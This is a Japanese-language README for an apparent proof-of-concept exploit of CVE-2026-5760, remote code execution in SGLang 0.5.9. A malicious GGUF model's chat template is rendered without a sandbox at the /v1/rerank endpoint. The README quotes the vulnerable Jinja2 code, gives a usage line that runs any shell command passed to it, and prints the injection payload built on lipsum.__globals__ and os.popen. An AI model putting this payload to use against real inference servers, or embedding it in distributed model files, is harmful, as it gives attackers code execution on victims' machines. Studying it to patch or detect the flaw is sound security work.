
CVE-2026-5760の概念実証エクスプロイト – 悪意のあるGGUFを介したSGLang 0.5.9のRCE
SGLangのリランキングエンドポイントにおけるサーバーサイドテンプレートインジェクション(SSTI)を介したリモートコード実行。細工されたtokenizer.chat_templateを含む悪意のあるGGUFモデルファイルをSGLangに読み込み、/v1/rerankエンドポイントを呼び出すと、任意のコードが実行されます。
SGLangの重大な脆弱性を悪用し、サンドボックス化されていないJinja2テンプレートレンダリングを利用します。SGLangのリランキングエンドポイント(/v1/rerank)は、モデルが提供するチャットテンプレートをjinja2.Environment()(ImmutableSandboxedEnvironmentではなく)でレンダリングするため、悪意のあるモデルが推論サーバー上で任意のPythonコードを実行できるようになります。
これは、llama-cpp-pythonに影響を与えたCVE-2024-34359("Llama Drama")と同じ脆弱性クラスです。
tokenizer.chat_templateを持つGGUFモデルファイルを作成します。serving_rerank.py内の脆弱なコードパスを有効にするQwen3リランカートリガーフレーズが含まれています。/v1/rerankに到達すると、SGLangはchat_templateを読み取り、jinja2.Environment()でレンダリングします。サンドボックスはありません。ファイル: python/sglang/srt/entrypoints/openai/serving_rerank.py
# serving_rerank.py lines 128-132 — UNSANDBOXED
def _get_jinja_env():
return jinja2.Environment( # <-- Should be ImmutableSandboxedEnvironment
loader=jinja2.BaseLoader(),
autoescape=False,
undefined=jinja2.Undefined,
)
このPoCは悪意のあるGGUFファイルを生成し、SGLangのサンドボックス化されていないレンダリングパスを通じてコード実行を実証します。
python3 exploit.py "id"
任意のシェルコマンドを引数として渡します。デフォルトはidです。
GGUFファイルに埋め込まれた悪意のあるチャットテンプレート:
MALICIOUS_TEMPLATE = (
'The answer can only be "yes" or "no".\n'
'{{ lipsum.__globals__["os"].popen("echo SGLANG_RCE_CONFIRMED").read() }}'
'{% for message in messages %}{{ message["content"] }}{% endfor %}'
)
The answer can only be "yes" or "no")は、SGLangのQwen3リランカー検出を有効にするために必要であり、リクエストを脆弱な_render_jinja_chat_template()パスにルーティングします。lipsum.__globals__["os"].popen()はJinja2コンテキストをエスケープして、任意のOSコマンドを実行します。このツールは許可されたセキュリティ研究および教育目的のみに使用されます。責任を持って使用してください。